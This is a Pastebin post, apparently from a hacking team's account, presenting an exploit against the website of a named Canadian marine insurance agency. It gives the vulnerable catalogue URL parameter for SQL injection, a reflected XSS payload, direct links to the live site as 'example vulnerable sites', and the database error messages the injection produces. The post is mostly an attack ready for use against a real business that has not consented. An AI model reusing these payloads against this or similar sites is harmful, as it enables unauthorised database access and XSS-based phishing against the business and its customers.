SHARE
TWEET

MDMarine Insurance Agent Orillia Canada XSS SQL Injection

KingSkrupellos Aug 20th, 2019 79 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ###################################################################
  2.  
  3. # Exploit Title : MDMarine Insurance Agent Orillia Canada XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 21/08/2019
  7. # Vendor Homepage : mdmarine.ca
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. MDMarine Insurance Agent Orillia Canada is prone to an SQL-injection
  24. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  25. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  26. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. Reflected XSS (or Non-Persistent) :
  33. ***************************************
  34. The server reads data directly from the HTTP
  35. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  36. attacker causes a victim to supply dangerous content to a vulnerable web application,
  37. which is then reflected back to the victim and executed by the web browser. The most common
  38. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  39. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  40. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  41. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  42. the content is executed by the victim's browser.
  43.  
  44. ###################################################################
  45.  
  46. # SQL Injection Exploit :
  47. **********************
  48. /rewards/catalogue.php?category=&filter[Brand]=[SQL Injection]
  49.  
  50. # Cross Site Scripting XSS Exploit :
  51. ********************************
  52. /rewards/catalogue.php?category=&filter[Brand]=1%27<marquee>
  53. <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  54.  
  55. ###################################################################
  56.  
  57. # Example Vulnerable Sites :
  58. *************************
  59. [+] mdmarine.ca/rewards/catalogue.php?category=&filter[Brand]=1%27
  60.  
  61. [+] mdmarine.ca/rewards/catalogue.php?category=&filter[Brand]=1%27<marquee>
  62. <font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  63.  
  64. ###################################################################
  65.  
  66. # Example SQL Database Error :
  67. ****************************
  68. SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in
  69. your SQL syntax; check the manual that corresponds to your MySQL server version
  70. for the right syntax to use near 'ORDER BY parent.lft' at line 7SQLSTATE[42000]:
  71. Syntax error or access violation: 1064 You have an error in your SQL syntax; check
  72. the manual that corresponds to your MySQL server version for the right syntax to
  73. use near ''1''' at line 37SQLSTATE[42000]: Syntax error or access violation:
  74. 1064 You have an error in your SQL syntax; check the manual that corresponds to
  75. your MySQL server version for the right syntax to use near ''1'' GROUP BY
  76. `categories`.`product_id` ORDER BY `categories`.`position` A' at line 51
  77.  
  78. ###################################################################
  79.  
  80. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  81.  
  82. ###################################################################
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top